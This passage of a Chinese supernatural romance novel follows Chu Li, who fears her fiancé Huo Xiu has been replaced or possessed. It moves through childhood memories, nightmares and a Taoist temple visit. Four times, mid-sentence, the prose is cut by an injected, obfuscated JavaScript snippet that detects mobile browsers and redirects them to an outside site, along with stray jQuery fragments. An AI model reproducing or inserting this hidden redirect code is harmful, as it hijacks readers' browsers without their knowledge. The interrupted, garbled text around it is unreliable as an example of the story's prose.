“只是因为这一点?”他追问。 楚黎木然开口:“你常用的那辆卡宴有我选的香薰,留香很持久。” 霍修沉默一会,叹息道:“黎黎,我们之间应该多一些信任。小林没开它是因为那辆车送去年检了。” 至此,尘埃落定。 楚黎的心像入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586277|171770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水的秤砣,她不再开口。 霍修向两位警察赔礼道歉,态度无可挑剔。岳盛远压低声音,把他叫到了门外。 只言片语随着风飘入屋内。 “……有没有精神方面的疾病?” “……轻度精神分裂……耽误你们的时间……” “嗐,你也是辛苦……” 辛心拍了拍楚黎的肩,宽慰她不要多想,并说来之前已经听辛桐说过她落水的事,或许是落水受到了刺激。 楚黎掐紧掌心,直到指甲嵌入皮肤。 她想尖叫,想发疯,想躲到一个没有视线没有声音的地方。但她什么都没做,只静默坐在原处,听霍修和警察在门口零零碎碎地聊天,听辛心温声宽慰。 “砰——” 大门重新关闭。 这栋别墅再次只剩下霍修和她。 脚步声缓缓停在面前。 “咔哒”一声,卡扣打开,他窸窸窣窣取了些东西。 楚黎沉默木然,由身至心都很疲惫。 如果他真的是冒充,那他成功了,也没必要在她面前演了。没有人会再怀疑他的身份,所有人只会觉得是她疯了。 他想做什么?是撕破脸嘲讽还是威胁要钱,又或者是用真正的霍修作为要挟…… 突如其来的温度打断了楚黎的思绪。 她的手被温热覆盖,对方极有耐心,轻轻掰开她攥紧的拳,露出破皮渗血的掌心。 棉签浸满碘伏,擦拭伤口。 原来刚刚打开的是医药箱。 给伤口消毒后,他细致涂了外伤药膏。 涂到最后一处,一滴灼热液体砸在沾了药膏的手指上,霍修怔怔抬头。 又是一滴落下。 楚黎的眼眶蓄满了泪,盛不住后变成泪珠,接连不断滚落。 温和的表情僵住,像半碎不碎的面具,挂在脸上。他怔怔看了一会,开始有点手忙脚乱去擦眼泪。 “黎黎……是我哪里做得不够好,你告诉我,我会学的。” 楚黎单手捂住脸,眼泪从指缝渗出。另一只手抚上他的颈侧,摸到几道边缘粗糙的划伤。 她分不清楚。理智告诉她或许是病加重了,但那种无处不在的恐惧压得人喘不上气。 手指一寸寸抚摸线条分明的下颌、薄唇、鼻梁、金属框眼镜后轮廓熟悉的眉眼。 惶恐与后悔几乎将她溺毙。 “不是你。不是你的问题。” 楚黎的脸色白得像纸,喃喃说:“霍修,陪我去看桐桐吧。” 5. 第五章 辛桐住在乐阳区第二人民医院。 楚黎和霍修到医院的时候她已经醒了,轻微脑震荡,要住院观察两天。 面对这场乌龙,她没有埋怨,只是越发担忧楚黎的精神状态。两人挨在一块聊了许久,直到护士来查房熄灯,楚黎起身道别。 辛桐看了眼在门外等候的修长背影,拉住她的手,“黎宝,我明天申请出院,你到我去那住几天吧。” 楚黎愣住:“你……觉得他身上不对劲吗?” “我……看不出来。”辛桐摇摇头,“但你觉得他奇怪,肯定有你的原因,换个环境住一段时间说不定会变好呢?” 病房里熄了灯,门外走廊的光照进来,映出楚黎那张有点苍白的脸。 她捏了捏辛桐的手,慢慢松开,“我是病人,说的话不作数,你别放在心上了,好好住院养伤。” 离开医院的路上,霍修一直牵着她走,脚步不紧不慢,迁就她的速度。 他们打车回到家。 别墅区内禁车,道路静谧,盛暑闷热的夜风徐徐吹拂,吹乱了她的鬓发。 一只手伸来,理顺碎发,挽到耳后。 霍修的注意力似乎一直在她身上。 楚黎恍惚地想,吃药吧,吃了药也许就好了。 愿神佛保佑,所有的古怪都只是发病后的错觉。 * 楚黎和霍修称得上青梅竹马。 小时候,父母总带着她双胞胎姐姐楚悠搬家,七岁时全家迁到海市,从那以后定居在此没再搬动。 新家是一栋三层别墅,拥有前后花园。 搬进新家第三天,父母带着她们拜访邻居。 邻居是一对中年夫妻,男人儒雅温和,女人端庄美丽,他们邀楚黎一家在花园里喝下午茶,作陪的还有快上高中的大儿子霍礼。 他和父母几乎是一个模子刻出来,眉眼清俊温和,会主动逗弄楚黎和楚悠,耐心解答过于孩子气的问题。 小楚黎很喜欢这个温柔哥哥。 大人你来我往,从各自的生意领域聊到家庭孩子。楚父随口问了一句,霍家父母是不是只有一位独子。 霍母唇边的笑容凝固片刻,又重新舒展,她端起红茶抿了一口,“还有个小的,比较孤僻怕生,不喜欢见客人,这会不知道自己在哪玩呢。” 陪大人聊天总是漫长又无趣。 霍礼没待太久,客气道别回房写作业。楚悠从小体弱多病,已经伏在楚母怀里睡着了,只剩楚黎晃悠着双腿,数蔷薇花上栖息了多少只蝴蝶。 她以捉蝴蝶为借口,逃离了无趣的交际。 霍家花园占地很大,花丛繁茂。楚黎追着蓝蝴蝶一路小跑,终于在一朵蔷薇花上将它拢入掌心。 “咚——” 一颗红樱桃砸在楚黎的后脑勺。她吓了一跳,蓝蝴蝶从指缝钻出,转眼就消失在花丛里。 “谁砸我!”她气鼓鼓捡起樱桃,转身向后看。 晴日阳光静好,后花园的小湖浮满灿金,湖边樱桃树枝叶繁茂,红果缀着枝头。 肤色冷白的男孩坐在枝干上,一手攥着白鸟,一手抛着红樱桃,自上而下望向楚黎。 她有一双漂亮的眼睛,比落满日光的小湖更美好。令他轻易联想到锁在展柜里昂贵的宝石。 “你是新搬来的?” 楚黎反应过来,这就是霍阿姨的小儿子,看起来比她还要大一些。想起妈妈说,在别人家做客要礼貌懂事,她没有计较那颗红樱桃,朝树上的人仰头笑:“你好,我叫楚黎,黎明的黎,以后我们就是邻居啦。” “霍修。”他扔掉手里的樱桃,攥着白鸟的翅膀,从树上下来。 交换名字是初步建立友谊的证明。 楚黎好奇地凑过去,戳了戳那只白鸟,好奇问:“你上树是为了抓它吗?它为什么不动?” 霍修与霍礼长得有六分像,只是他的五官更深邃精致,眼睛颜色也更深,像没有杂质的黑色玻璃球。他说:“因为死了。” 楚黎呆在原地,然后蹭蹭往后退了两步,“为、为什么死掉了?” “它卡在树枝里,所以死了。” 白鸟生有红色鸟喙,羽毛雪白,眼珠浑浊,脖子软软垂下。 如果活着,一定是漂亮的鸟儿。楚黎有些难过。 “好可怜,我们把它埋起来吧。” “不。”霍修拒绝了,“埋在土里会腐烂长虫子,很恶心,很丑。” “那怎么办?” “做成标本就不会腐烂了。”霍修的语气理所当然,抚摸了一下雪白的翅膀,又问,“你觉得它漂亮吗?” 楚黎犹豫着点点头。 霍修露出了见面以来第一个笑容:“等我做好,送给你。” “霍修!”一声轻喝打断了孩子们的交谈。 霍修将手背到身后,看着疾行走来,连仪态都无法保持的女人,乖巧开口:“妈妈。” 半边翅膀在他身后晃荡,霍母眉头紧皱,深呼吸几口,在客人面前勉强维持住端庄:“回你的房间去。”她声音很冷淡。 霍修平静收回视线,头也不回往别墅走。 霍母半蹲下来,轻轻握住楚黎的肩膀,语气温柔:“小黎,霍修刚刚在这做什么呢?” 楚黎对情绪很敏锐。 望着不言不语走开的背影,她朝霍母张开手,掌心里躺着一枚红樱桃。 “他送了我一颗樱桃。” 还没走远的背影停下,转身与楚黎四目相对,她眨了眨眼,又捏住樱桃梗,朝他晃了晃,最后眉眼弯弯笑起来。 * 霍礼即将中考,楚悠需要静养,楚黎和霍修理所应当成为了朋友。 起初去霍家找霍修玩时,十次里面,有七八次都会落空。霍家父母总是非常热情接待她,尤其是霍母,对她怜爱有加。 但只要提起找霍修玩,他们时常会以“生病”“写作业”“去补课”等等理由推拒。 楚黎从霍母怀里仰起头,偶尔会从别墅二楼的窗户看见一道孤僻身影。 她知道,霍修就在家里。 她不明白,为什么叔叔阿姨不喜欢霍修和她一起玩。 小时候的楚黎好奇心重,大人越是不允许,她越想做。她来得很勤快,霍家父母不好每次都找借口推辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586278|171770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 两人见缝插针熟稔起来。 樱桃树红了又绿,绿了又红,他们的个子都在往上蹿。 霍家父母终于不再干涉他们玩在一块。 他们一起上下学,假期时凑在一起写作业,会趁大人不注意,一起爬上樱桃树。 但霍修从未带她参观过标本室。那个约定好要送出的白鸟标本,最终也没送给楚黎。 那时候的霍修很符合霍母口中“孤僻话少”的形象,在学校里也是独来独往。 楚黎作为他唯一的朋友,经常她说三句,他应一句。 她曾以为这段友谊会延续很久。 * 楚黎升入初中时,霍修即将初中毕业。 那时她身边已经有了很多朋友,也常常邀请好友到楚家玩。霍修也会被楚黎邀请加入,他总是最格格不入的一个,在欢声笑语里,静坐在一旁,翻各种冷门孤僻的书籍。 暑假漫长无趣,有人提出去千湖划船。 楚黎双手赞同,并拉上了霍修。 海市沿海而建,千湖并不是湖,而是一片浅海域,因海岛星罗棋布,得名千湖。 他们租的都是手动船,船身不大只能容纳四人。 朋友们都想和楚黎坐,但楚黎和霍修坐在同一条船上,她们又打消了这个念头。 只有两人的船划得慢,很快落后在同伴身后。 楚黎第一次自己划船,看什么都新奇,无论是船桨划过水面的波纹,还是栖息在礁石上的海鸟,又或是前面正在竞速的同伴。 霍修冷不丁冒出一句:“你很想和她们坐吗?” 大片海鸟扑棱棱飞起,吸引了楚黎的视线,她看得入神,没听清楚他在说什么。 紧接着,小船像是触礁,猛地一晃船身失去平衡。 楚黎的视线天旋地转,仓促间看见一只伸来的手,攥住了她的指尖。 船身摇晃太厉害,她摔的时候坠力太沉,交握的手最终脱开。 楚黎仰面栽入水。 后面的记忆有些模糊,只记得是千湖的救生员将她救起。 接到消息的楚父楚母和霍家父母急匆匆赶来。 父母将她紧紧搂在怀中,母亲口中念念有词,念叨着“保佑”“无灾”之类的话。 最令楚黎印象深刻的是—— 一向儒雅温和的霍父,在赶到后,勃然大怒猛地甩了霍修一耳光。 力度之大,他整个人被掀翻在地,右脸迅速肿起,唇齿渗血。 霍母没多看一眼,只万分诚恳朝楚家父母赔罪,并说:“我们会给小黎一个交代。” 楚黎那时不懂这句话的含义。 回去后,她连续发高烧,断断续续大半个月才彻底病好。父母轻轻摸着她的脑袋,告诉她霍家父母带着两个儿子出国了。 隔壁别墅人去楼空,霍修给她留下了一件礼物—— 白鸟标本。 经过特殊处理,虽然时隔多年,它看起来像是活着。 羽毛雪白,鸟喙鲜红,眼珠清澈有神。 标本下压了一张便签—— “我会回来的,黎黎。” 6. 第六章 楚黎高中时就有精神分裂的倾向,两年前确诊轻度精神分裂。 她总是觉得生活中有一道无形的视线在窥探,在尝试自我和解无效后,她越来越疑神疑鬼。 刚确诊那半年最严重,时常发病,把臆想的事情当成事实,认为身边的人都心怀不轨。霍修日夜陪着,半年后病情渐渐稳定,她才逐渐停药。 陈医生是她的主治医师,会定期打电话询问情况,约她复查。 下一次复查的时间,是两天后。 陈医生是位温柔女性,对患者很负责,但楚黎潜意识里不太愿意见她。 或许是出于讳疾忌医的心态。 这次复查,陈医生让她重新做了测量表,根据她落水的经历和最近的表现,诊断她的病情复发,且有恶化趋势。 陈医生为她做了心理疏导,又开重新开了药。 楚黎遵循医嘱按时用药,和医院开的治疗眼睛的药物隔开吃。 吃了药,果然好多了,不会再经常感觉有视线窥伺,幻觉也减轻了不少。 霍修推掉了一切不必要行程,将大部分工作搬回书房处理,公司的会议大多改成线上模式。 他的手伤彻底痊愈,最近做饭回归正常水平。 生活渐渐回归平静,先前的那些,仿佛只是楚黎发病后的臆想,吃了药,那些异样随之消失了。 * 海市夏季多雨。 一场雷雨从傍晚开始下,闷雷滚滚,狂风骤雨拍得窗户震动。 楚黎自小畏惧雷雨夜,早早就洗了澡。身后吹风机几乎无声,修长手指穿过长发,细致吹干每一缕发丝。 她戴着耳机,在听雅思听力。开学后大四,要准备实习与毕业论文,她打算毕业后出国,想趁开学不忙时早点考了。 霍修本就有将公司迁至欧洲的打算。原计划里,他今年会逐步将项目外迁,等楚黎毕业后在国外举行婚礼并定居。 一场意外,打乱了计划,订婚也延期了。 耳机里播放着英文对话,檀木梳从发根梳到发尾,一下又一下,扯得头皮微痒。 如果忽略窗外不停歇的雷雨,这算得上是个宁静的夜晚。 霍修为她梳完头,端来一包药和温水,“吃吧,吃完早点休息。” 楚黎不吭声,伸手在眼前晃了晃,还是一片漆黑,心里有点泄气。 到底什么时候才能好。 霍修捉住她的手指,笑着问:“怎么了?” “不想吃。都吃了大半个月,一点效果都没有。” 他将药放在楚黎手中,捏了捏她的手指,“明天去复查,先吃完这次。” 楚黎叹气,捏着鼻子把药丸胶囊们倒进嘴里,再咕咚喝水咽下去。 这些药味道有些怪,咽下去后,若有若无的甜腥一直黏在舌根上,她很不喜欢。 今天的上床时间比平时早两个小时,楚黎吃过药,暂时没有睡意,窗外电闪雷鸣,她慢慢往下滑,整个人裹进被子里,脑海内不断跳出听过的灵异故事。 一只手搭上她的腰,往后一带,后背贴上温热的胸膛。 “别怕。” 楚黎转身窝进霍修怀里,鼻尖抵在丝质睡衣的衣领上,“睡不着,我在想陈姨讲过的故事。这世上真的有鬼神吗?” 闪电短暂照亮卧室。 霍修垂眼看怀中只露出发顶的人,目光幽深,轻笑起来:“黎黎觉得呢?” 楚黎闭眼听他沉缓的心跳,“不知道,可能有吧。反正我家里是很敬畏鬼神的,尤其是我妈。她老家信仰神秘,供了一位神。说起来也奇怪,我妈从来没有带我和妹妹回过老家。” 霍修语速缓慢:“没回过老家?” “印象里是没回去过的,我很少看见我妈和家里人联系,应该是和姥姥家的人关系不好……我记得你老家在湖省,有没有遇到过什么灵异事件?” “没有。但有件有趣的事。”霍修轻抚纤瘦背脊,低沉平缓的声音似泉水流淌,“很多年前,在林子里遇到过一个迷路的小孩,哭得像只小脏猫。” “然后呢?” “然后就把她送回家了。对了,她还夸我是个好人,说要带礼物感谢我。”说到这时,霍修似有似无轻笑一声。 楚黎怀疑在霍修瞎编。 他小时候可不是热心的性格,第一次见面就用樱桃砸她。出国多年再回来,他才成了现在这副温雅包容的样子。 “你小时候有那么好心吗?”楚黎小声嘀咕,“后来那个孩子带了什么礼物感谢你?” 霍修拈起一缕长发,在指间缠绕,轻描淡写道:“没有。” “没有?” 他慢悠悠说:“她没来,食言了。” * 楚黎在风雨声中入眠。 这一觉睡得不安稳,她又做噩梦了。 梦里,客轮驶入潮湿海雾,触礁侧翻。天空与海面同为铅灰色。她从没见过这样古怪的天,天似碗盖,将一切光线遮蔽。 幽暗海面之下,一团深红在她眼前绽开。 平时的梦到这里就结束了,可今天的梦还在继续。深红中伸出一只冰冷惨白的手,攥着楚黎往前拽。 楚黎的视线越来越清晰,她终于看见了这团深红的来源。 是一个人。 他的后脑撞上礁石,整个人被血雾包裹。他面色青白,瞳孔浑浊,脸上的肌肉像冷冻层的肉,僵硬无比。 他是霍修。 正一手攥住楚黎的手腕,一手慢慢抚摸她的脸,唇角牵起诡异弧度,语气如平常温和:“黎黎,我不会把你让给任何人。” “留下来陪我,好吗?” 五指像铁钳,瞬间掐紧楚黎的喉咙。 她清晰闻到他身上冰冷的海腥味。 楚黎用力去掰那只手,力气像蚍蜉撼大树,对方纹丝不动,藏在眼底的偏执暴露无遗。 肺部空气渐渐稀薄。 “……黎黎,黎黎!” 楚黎猛地睁开眼,捂着脖子大口喘气。 雷雨还在继续,卧室像蒙了黑纱,一切家具都只有极模糊的轮廓。 视力恢复了! 她微微瞪大双眼,梦里的惊恐被暂时抛到脑后,喜悦涌上心头。 “霍修,我……” 一道闪电撕开夜雨,卧室被短暂照亮。 霍修的脸近在眼前,他没戴眼镜,半边脸被闪电映亮,半边脸隐在黑暗中。 楚黎的声音戛然而止,愣愣盯着眼前的脸。 熟悉的、温和的面容,正满脸关切望着她。在他的身后,无数蜿蜒阴影游动,床上、天花板、地面……将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586279|171770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卧室筑成囚笼。 “怎么了,黎黎?” 冰冷手指轻柔抚摸她的面庞,霍修语气温柔关切,表情像披了人皮的怪物,正在拙劣模仿。 浓黑的眼睛盯着她,没有瞳光,也没有眨动。 闪电消失,卧室再次陷入漆黑。 “啊——!!!” 楚黎从来没发现自己的力气可以这么大,跑得可以这么快。 心脏剧烈跳动,快到令人想吐。 她推开霍修,赤脚奔下床拉开房门,在黑暗中跌跌撞撞下楼。 一定是梦。 她一定还在做梦。 “咕咚——” 楚黎一脚踏空,从几阶楼梯上滚落,重重摔在客厅地毯上。 “黎黎,你要去哪?” 二楼传来脚步声,从卧室到楼梯,越来越近。 “嗒嗒”声好像踩在楚黎心上。 刺痛的脚踝以及钝痛的手肘证实了这不是噩梦。 这比做噩梦还要恐怖。 楚黎手脚并用,向大门方向挪动,冷汗顺着额角鼻尖不断滚落。 快一点……再快一点…… 一只手毫无征兆握住她扭伤的脚踝。 “别碰我!”楚黎下意识一踹。 闷哼声和金属落地声同时响起。身后的人没有松手,语气平静:“黎黎,是我。”顿了顿又说,“元宝,开灯。” 一楼的灯陆续开启,明亮驱散了黑暗。 楚黎的视线从模糊的光点逐渐变成清晰的家具。她用手肘支起上半身,僵着脖子慢慢扭头。 青年穿着深灰丝质睡衣,头发有些凌乱,左眼眉骨红肿一块,金丝边眼镜摔在一旁。 他的表情还算平静,俯身抱起楚黎放在沙发上,打开医药箱用药油揉她扭伤的脚。 水晶灯下,他眉眼低垂着,露出左眼皮上的一枚红痣。 楚黎鬼使神差伸出手,碰了一下。 指腹下的肌肤是温热的,刚刚那幕就像幻觉,此刻的霍修看起来没有任何异样,反倒是她像得了失心疯。 是视力刚恢复,看错了吗…… “视力恢复正常了?”他问。 “……嗯。” “是不是做噩梦了?” 梦里的窒息感再次浮现,楚黎生理性颤抖一下,含糊说:“我梦见……我们掉进海里,你掐着我的脖子不放。所以醒了之后看见你,被吓了一跳。” 霍修动作顿了顿,抬眼看她时,那枚红痣就隐入眼皮里,“黎黎,我不会伤害你。只是噩梦,不要害怕。” 修长的手顺着发顶向下温柔抚摸。 “眼睛有没有不舒服的地方?” “有一点干涩。”她眨了眨酸胀的眼珠,瞥见霍修肿起的眉骨,慢慢抿起唇,“对不起,又弄伤你了。” 类似的事在她刚患病时经常发生。 “我帮你上药。”楚黎心里愧疚,倒了点药油,跪坐在沙发上,轻揉他红肿的位置,“下次我精神不稳定的时候,你要离我远一点……” 霍修亲了一下她的手指,“不疼的,别担心。” 楚黎叹气,看见他的红痣,轻轻点了一下:“你这有颗红痣,什么时候长的?” 霍修抬眼看她,唇边含笑:“一直都在,是你没注意到。” 7. 第七章 “所以,你前两天做了个噩梦,一醒就看见霍修被鬼上身一样盯着你?” 舒缓音乐在咖啡厅流淌,辛桐咽下一口草莓慕斯,用一种“你睡懵了”的表情看楚黎。 楚黎心不在焉戳弄面前的车厘子蛋糕,鲜红汁液混合雪白奶油,让她想起之前的噩梦,瞬间也不想吃了,将它推远。 “差不多……当时刚好有闪电,我还看见屋子里有很多影子。像藤蔓一样,墙、地面、天花板到处都是。” “你等会啊,我问问医院的朋友。”辛桐咬着勺子,埋头打字,不一会抬起头说,“她说你刚恢复视力,看东西模糊或者光影扭曲都是正常的。大晚上没开灯,就闪电嗖一下过去,看错很正常的。” 落地窗外阳光正好,衣着光鲜的行人来来往往,这里是乐阳区的商业中心。 长短不一的影子铺满地面。 是看错吗? 可是那一幕太过清晰,怎么也忘不掉。 青年俊美的面容半边雪白,半边浸在黑暗里,表情关切万分,眼睛却直勾勾一动不动,像披了人皮的怪物。 “……黎黎,黎宝!” 一只手在楚黎面前晃了好几下,她才如梦初醒,“啊?你刚刚在说什么?” 辛桐见她神思恍惚,忍不住叹气:“我说,咱们等会去庙里上香拜一拜,最近太水逆了。你又是落水,又说见鬼,我还出车祸,所以一起去拜拜,去去霉运。” * 商业中心旁边是一片古色古香的老建筑群,政府规划后命名永乐坊,青石板巷子四通八达,是海市的人文地标。 太清观藏在不起眼的角落,观内古朴清幽,供着三清,有几分闹中取静的意境。 楚黎没想到这里还藏了个道观。 “我同学说这可灵验了。”辛桐拉着她进正殿上香。 工作日香客稀少,楚黎手持三炷香,恭恭敬敬拜了拜,诚心祈祷那些乱七八糟的幻觉赶紧消失,还她平静生活。 轻烟袅袅升腾,她把香稳稳插入香炉里,又和辛桐捐了钱进功德箱,心里轻松不少。 两人手挽手出了正殿。 辛桐:“你现在眼睛好了,打算什么时候订婚?” 楚黎摇摇头:“再过段时间吧,等陈医生说我的病情重新稳定再办。” “这样才对。”辛桐哼了一声,“我之前就觉得太早了,你都还没毕业呢,订什么婚啊,真不知道他在急什么。你也是,不该这么快点头的,我总觉得……算了算了,反正人生大事要慎重考虑。” 见她有些欲言又止,楚黎轻拍她一下:“有事就说,最讨厌说一半藏一半了。” 辛桐神情有点复杂,挣扎了一会才开口:“黎宝,你知道我为什么一直不待见他吗?” 楚黎打趣道:“因为我和他要一起出国?” 太清观里绿树成荫,偶有两声鸟鸣。 “不完全是这个原因啦。平心而论,他对你还是挺好的,处处都上心。”辛桐的脚步慢下来,“但从你带他和我见的第一面起,我就觉得他有点假。” 楚黎皱了皱眉:“假?” “我不知道怎么形容,有时候他看你的眼神很奇怪。”她思考良久,吐出两个字,“像蛇。” “就好像,他明明不是这样的人,非要装成温和的样子。不过你们从小就认识,又是邻居,我觉得你肯定比我了解他的为人,所以一直没说。” 楚黎有一瞬恍惚。 从前的霍修孤僻寡言。从他出国后,他们就没有联系了。 再次见面,还是在两年前,在她高三毕业的暑假。那时他已经提前完成学业取得毕业证,接手了部分霍家生意,回国开拓市场。 再次见面的时候,霍修变成了温和从容的青年,和他的哥哥霍礼很像。 她对这种类型的男性天然存在好感。 那时楚家发生变故,具体是什么她已不太记得,似乎是与家中有矛盾,一气之下搬了出去。 是霍修忙前忙后帮着搬家,又安抚她的心情。他也是第一个发现她精神状态出状况的,日夜不歇地照顾。 在一起是水到渠成,顺理成章的事。 楚黎挑不出他任何一点不好。 一人行色匆匆路过,不小心撞上出神的楚黎,将她撞得一个踉跄险些扑出去。 那人反应很快,及时托住她的手腕。 “搞什么,不看路啊!”辛桐拍开那只手,护住楚黎。她个子高挑,五官偏英气,气势汹汹质问人时架势很足。 年轻男生戴着鸭舌帽,皮肤白净,笑起来斯文俊秀,视线短暂在楚黎的手腕上停留,“抱歉,是我赶时间一时没看清楚,实在不好意思。” 他道歉后就匆匆走了,辛桐在原地瞪他的背影,没好气说:“这么宽的路也能撞上,发神经的。” 这么一闹,两人也没了继续逛太清观的心情,准备打道回府。 楚黎叹气:“这个观不灵,刚拜完就继续水逆。” “我也觉得……要不我们换个再拜拜?听说白云山那个也灵。” 她们嘀嘀咕咕了一阵,刚要跨出观门,身后一道声音传来。 “两位,请留步。” 追来的道长穿灰道袍,蓄长须,头发花白,看起来有一点高人之姿。他递来两枚叠成三角形的符,“这是保平安的,上过香的都有。” 楚黎和辛桐对视一眼,都有点尴尬。 前脚说人家的观不灵,后脚观里的道长就过来送符,不知道有没有被听见。 “多谢道长。”她伸手接过,客气道谢。 细细红绳圈住素白腕骨,坠着一枚晃悠悠的铜钱。 道长瞥了两眼,笑道:“姑娘,手上戴的这个是哪得来的?” “是爸妈给的,戴好多年了。” 道长若有所思点头,不再说话,笑着看她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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霍修垂眼看躺在楚黎腿上的手机,唇角淡淡一勾,轻巧抽回手,“小事,不疼。” 黑色宾利重新发动,似游鱼融入车流。 楚黎怔怔揉捏指腹,冰冷触感还残留着。 刚刚她为霍修揉淤青时,那一小块皮肤似乎是冷冰冰的。 手机屏幕亮了一下,弹出班级群的消息。 楚黎按下疑惑,拿起手机准备细看,手掌忽然被烫了一下。 太清观道长给的平安符她塞进了手机壳里。 此刻,边缘略微焦黑,正在发烫。 楚黎倏地扭头。 车内开着灯,车灯下霍修的侧脸立体分明,连金丝边眼镜投下的阴影都恰到好处。他手指修长,握方向盘时赏心悦目,那小块的淤青并不影响他打方向盘。 注意到强烈的视线,他微微偏头,眼镜后的双目含笑,柔声问:“怎么了,黎黎?” 那枚平安符发烫像是错觉,只是刹那的事,此时已经重归平静。 楚黎坐在副驾驶位,攥着手机的指节泛白。车窗外的平坦大道一眼望不到头,车流不息。最后一丝日光没入地平线,黄昏降临。 幽微的、无处不在的诡异感将她包裹。冷汗逐渐浸湿了后背。 “没……什么。”她听见自己平静开口。 8. 第八章 这世上有鬼吗? 楚黎不知道。 她很久以前玩过一个逃生类游戏,故事背景很简单,主角是单亲家庭,和妈妈生活在一起。某天,主角发现妈妈被某种东西替代了,玩家要做的是隐瞒自己的发现,并活着逃出那栋房子。 楚黎连打三遍,还是失败结局。 因为游戏里的“妈妈”实在很警觉,某句对话选错,都会触发死亡。 失败CG给她留下了很深的印象。温柔女人咧开嘴,用柔和的语气说“发现了就去死吧”。 第四次,她吸取经验,终于小心翼翼通关。 结局画面定格在主角逃出房子,一张面无表情的脸贴在窗户上,扭曲地盯着主角离开的方向。 “黎黎,到家了。” 霍修的声音让楚黎骤然回神,车窗外已经是熟悉的别墅。 她攥紧手机,指尖一阵阵发麻。 没关系,就像当做在玩游戏。 要冷静,要镇定,不要被发现破绽。 楚黎在心里反复告诫自己,然后深吸一口气,准备下车。 霍修比她更快。副驾驶座的车门拉开,天光黯淡,他弯腰探身,冰凉碎发扫过她的颈侧,姿势如同拥抱。 柑橘香气萦绕在两人间。 她呼吸一滞,喉咙吞咽速度变快,脸上竭力保持平静。 “嗒”安全扣解开,霍修却没有直起身,保持着将人拢在怀中的姿势,睫羽低垂,视线在她脸上逡巡。 修长手指顺着下颌,点在不断吞咽的喉咙上,“黎黎,你很紧张?” 楚黎的呼吸重了两分。 她不精通演技,情绪一般都写在脸上,想要藏住心事很难。 但这不是游戏,她不知道规则,也不知道通关条件,更没有读档重来的机会。 车内静了一瞬,楚黎握住那根手指,低头亲了一下,笑意嫣然说:“没有。是我饿了。” 被亲吻过的手指不自然蜷缩了一下。 他说:“好,我去做饭。” * 人在极度恐惧或愤怒后,会变得异常冷静。 楚黎的思维像是飘出了身体,变成了第三视角。她面色如常地吃饭,和霍修偶尔闲聊,等他洗完碗后,两人坐在沙发上看完了一集正在热播的综艺。 霍修搂着她的腰,楚黎靠在他身上,姿势亲昵。 综艺的画面与声音变成扭曲的符号飘入耳朵,又轻飘飘溜走。 楚黎所有的感官都集中在身旁的青年身上。 之前所有的异样,都是真实的,不是她发病的臆想。只是她那时思路错了,没有往灵异事件方向去想。 趁他洗碗,楚黎在网上搜了很多灵异事件帖子。 目前的情况看来,霍修比较像被鬼上身,这只鬼道行还不浅。 她不清楚对方的目的,只求顺利熬过今晚不露破绽,明天再找借口出门,去太清观找那位道长求解决办法。 一集综艺看得度日如年,楚黎平时看这个,会笑到抱着枕头打滚。 今天笑不出来,只好装成很困的样子,然后顺理成章提出今晚早点洗澡休息。 霍修没有异议。 两人不到十点就洗漱完毕躺在床上。 同盖一床被子,对方的气息悄无声息蔓延、包裹。一阵窸窸窣窣声后,她的腰间搭上一只手臂,后背也多了一具身躯。 卧室黑暗静谧,楚黎清晰听见了自己的心跳声。 “砰砰砰……” 重得像砸在她的耳膜上。 她喉咙发干,抿了抿干燥的唇,担心会被身后之人听见。 霍修像往常一样,亲了亲她的发丝,柔声说:“黎黎,晚安。明天下午公司有事,我要过去一趟,可能会晚点回来。” 简直是打瞌睡送枕头。 楚黎:“你忙吧,我明天约了桐桐出去玩。” 环住腰肢的手臂收紧了几分:“今天不是出去玩过了吗?” “明天……明天是去买衣服,今天都没来得及看衣服。”楚黎很快找好理由,“之前看不见我在家闷了半个月,现在好了,当然要多出去走走。” 霍修捏着她的手腕,摩挲片刻,说:“好。注意安全,别去人太多的地方。” 冰凉铜钱贴在腕骨上,被揉捏的地方起了一层鸡皮疙瘩。 * 次日,霍修吃过午饭就出门去了公司。 他前脚刚走,楚黎后脚便出门打车,直奔太清观。这件事没告诉辛桐,怕她担心,也怕她被牵扯进来。 太清观还是昨日那样稍显冷清。 灰袍道长站在树下,手拿扫把正在扫落叶,听见急匆匆的脚步声,头也不抬说:“来了。” 他像是早料到楚黎要来。 楚黎走得急,身上出了汗,她好不容易把气喘匀:“道长,我来求您帮忙!” 